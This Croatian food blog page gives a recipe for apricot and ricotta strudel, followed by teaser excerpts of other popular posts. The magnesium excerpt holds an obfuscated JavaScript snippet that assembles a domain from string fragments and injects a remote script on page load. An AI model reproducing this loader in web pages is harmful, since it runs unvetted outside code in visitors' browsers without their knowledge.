ŠTRUDEL OD MARELICA I RICOTTE




Štrudel od marelica i ricotte 



Sezona marelica u punom je jeku, a konačno su počele i domaće breskve sorte cipanica. Bilo da su vam pri ruci cipanice ili barakokule, naš prijedlog je isti: iskoristite ih za pripremu kolača! No ako ste mislili da ćemo vam sad ponuditi recept za kolač na čaše ili neku sličnu slasticu u kakvoj obično završi sočno voće ovog tipa - varate se.





Štrudel od marelica i ricotte 


Sastojci:

500 do 600 g marelica
500 g ricotte
4 žlice mljevenih badema
2 žlice smeđeg šećera
2 žlice bezglutenskih krušnih mrvica ili mljevenih bezglutenskih keksa
12 gotovih kora za savijaču
1 vrećica vanilin šećera
šaka borovnica
cimet
ulje
topla voda
šećer u prahu




Priprema:

Ricottu pomiješajte s vanilin šećerom.

Marelice operite, izvadite im koštice i narežite ih na manje komade. Pomiješajte ih s borovnicama, smeđim šećerom i cimetom.

U drugoj zdjelici pomiješajte krušne mrvice ili mljevene kekse s mljevenim bademima. Ulje pomiješajte s malo tople vode.

Dvije kore lagano premažite mješavinom ulja i vode pa na njih položite treću koru. Uz jedan rub rasporedite četvrtinu ricotte, dodajte četvrtinu voća i pospite četvrtinom mješavine badema i mrvica.

Kore zarolajte u štrudlicu i premažite mješavinom ulja i vode. Na isti način pripremite još tri štrudlice.

Složite ih na lim obložen papirom za pečenje i pecite oko 30 minuta u pećnici zagrijanoj na 200 °C, dok ne poprime zlatnu boju.

Pustite da se malo ohlade pa ih pospite šećerom u prahu. Marelice po želji zamijenite breskvama.



Pripremila: Ivana Matas 




Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više